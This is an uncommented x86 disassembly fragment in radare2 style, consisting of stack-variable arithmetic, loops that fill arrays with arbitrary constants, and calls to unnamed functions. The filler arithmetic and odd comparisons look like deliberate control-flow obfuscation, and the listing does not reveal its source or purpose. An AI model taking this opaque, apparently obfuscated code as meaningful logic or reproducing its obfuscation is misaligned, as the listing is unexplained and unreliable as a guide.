imul eax, eax, 0xa5bc
neg eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x38]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x105fa2ef
setge cl
xor eax, eax
cmp ecx, 0xfffffff9
setle al
xor edx, edx
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x30]
xor eax, eax
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x30], eax
jmp 0x1003133b
mov dword [ebp - 0x4c], 0x60b25631
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], eax
jl 0x10031335
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x100312b3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x11d8], 0xfffffffe
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1003129a
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10031327
mov dword [ebp - 0x48], 0xfffffffe
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100312df
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc0], 0x4d0e834a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100312c7
mov dword [ebp - 0xc0], ebx
cmp dword [ebp - 0xc0], eax
jl 0x10031324
cmp dword [ebp - 0x34], ebx
jle 0x100312b8
dec dword [ebp - 0x38]
jns 0x1003128a
dec dword [ebp - 0x4c]
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe3
je 0x10031277
or eax, 0xffffffff
lea ecx, [ebp - 0xb74]
mov dword [ebp - 4], eax
call fcn.100153d6
push 2
pop esi
push esi
lea ecx, [ebp - 0xfac]
call fcn.10015351
mov dword [ebp - 4], 0x2c
or ecx, 0xffffffff
mov dword [ebp - 0x28], 0xdf2f4a8b
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100313a4
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xfac]
call fcn.100153f2
mov dword [eax], 0xf0ea75c9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10031383
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x28], eax
jmp 0x1003141d
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x48], 6
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100313cf
cmp dword [ebp - 0x28], ebx
jle 0x100313a9
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10031445